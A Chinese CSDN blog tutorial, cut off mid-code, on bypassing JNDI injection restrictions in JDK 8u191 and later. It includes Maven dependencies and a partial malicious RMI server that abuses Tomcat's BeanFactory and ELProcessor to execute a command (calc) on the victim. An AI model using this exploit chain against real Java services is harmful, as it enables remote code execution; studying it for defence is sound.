绕过高版本JDK限制的JNDI注入

本文探讨了在JDK 8u191及以上版本中,由于JNDI+RMI和JNDI+LDAP注入受到限制,如何通过加载本地类和本地反序列化来实现JNDI注入的绕过。详细介绍了利用javax.naming.spi.NamingManager从本地类加载恶意Factory类以及通过CommonsCollections5 gadget进行本地反序列化的方法,以达到命令执行的目的。
摘要由CSDN通过智能技术生成

前言

JNDI_RMI在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase;com.sun.jndi.cosnaming.object.trustURLCodcbase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
JNDI_LDAP在Oracle JDK 6u211、7u201、8u191、11.0.1、之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,对LDAP Reference远程工厂类的加载增加了限制。

我们通常对jndi注入利用常见的两种方法是JNDI+RMI和JNDI+LDAP注入,但这两种注入受到jdk版本的影响,导致不能使用。限制版本在上面已经写了。
关于JDK>8u191版本,目前公开绕过的方法有两种。我已经再高版本环境下实验过了,且均能成功。第一种方法为通过加载本地类来实现,第二种是通过本地反序列化来实现。

通过加载本地类

JDK 11.0.1、8u191、7u201、6u211之后之后com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值为false,我们就不能再从远程的Codebase加载恶意的Factory类了,但是我们可以从本地存在的类中加载,也可以达到利用的效果。
我们可以看一下javax.naming.spi.NamingManager#getObjectFactoryFromReference方法,实现从本地类中加载,如果没有则再从指定Codebase远程加载。
![在这里插入图片描述](https://img-blog.csdnimg.cn/88fe8ea5ebdb41eb81a850f86876c992.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATm9PbmVfNTI=,size_20,color_FFFFFF,t_70,g_se,x_16
需要看到最后return的是一个强制转换的ObjectFactory类型,也就是工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且该工厂类至少存在一个 getObjectInstance() 方法,我们找到了org.apache.naming.factory.BeanFactory类,刚好满足所需的条件,且存在于Tomcat依赖包中,所以使用也是非常广泛。
pom依赖

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>

<dependency>
    <groupId>org.apache.el</groupId>
    <artifactId>com.springsource.org.apache.el</artifactId>
    <version>7.0.26</version>
</dependency>

RMIServer

package org.example.JndiHighRmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
   
    public static void main(String[] args) throws Exception{
   

        System.out.println("Creating evil RMI registry on port 1099");
        Registry registry = LocateRegistry.createRegistry(1099);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值